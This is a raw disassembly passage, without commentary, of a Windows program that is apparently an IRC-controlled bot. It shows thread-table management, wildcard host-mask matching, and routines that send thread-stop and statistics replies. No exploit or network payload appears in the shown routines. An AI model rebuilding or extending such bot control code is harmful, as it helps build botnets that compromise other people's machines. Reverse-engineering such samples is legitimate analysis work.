		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26907CFh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	near ptr 26D0000h
		nop
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_436B54
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_4429D8
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26D0576h
		nop
		call	near ptr 26907CFh
		nop
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_436B7C

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_436B78
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_436B74
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_436B70
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_436B6C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_436B68
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_436B64
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_436B60

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_436B58
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_430DA4
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26907CFh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4D0830
		test	eax, eax
		mov	eax, offset dword_436B88
		jnz	short loc_40B022
		mov	eax, offset dword_4429D8

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_436B80
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4D0830
		test	eax, eax
		mov	eax, offset dword_436B88
		jnz	short loc_40B04D
		mov	eax, offset dword_4429D8

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_432E8C

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_432F04
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_432E90[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_443560

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D0560
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_443560[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_443760[esi], eax
		and	dword_443764[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_443768[esi], 0
		mov	dword_44376C[esi], eax
		and	byte_443778[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2D4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 436C88h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 443560BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 1AB468FFh, 0E8500043h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 60FE8147h, 7C004D05h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_443774[esi]
		lea	edi, dword_443774[esi]
		nop
		call	near ptr 2690876h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_443768[esi]
		mov	dword_443760[esi], ebx
		mov	dword_443764[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_44376C[esi]
		mov	byte ptr dword_443560[esi], bl
		mov	byte_443778[esi], bl
		push	dword ptr [edi]
		call	dword_4D08BC
		lea	esi, dword_443770[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4D08BC
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_443560

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D0560
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_443764

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D0764
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_443760

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D0760
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_443760

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D0760
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_443774[eax], ecx
		mov	dword_443760[eax], ecx
		mov	dword_443764[eax], ecx
		mov	dword_443768[eax], ecx
		mov	dword_44376C[eax], ecx
		mov	dword_443770[eax], ecx
		mov	byte ptr dword_443560[eax], cl
		mov	byte_443778[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4370A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_436D08, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_436D10

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_437098
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4D3330
		mov	ecx, dword_4D332C
		push	esi
		push	dword_4D0564
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4D3330
		lea	eax, [ebp+var_200]
		push	dword_4D332C
		push	offset unk_4370C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4D0564
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4D3574
		push	offset unk_43710C
		push	eax
		call	sub_41B886
		push	0
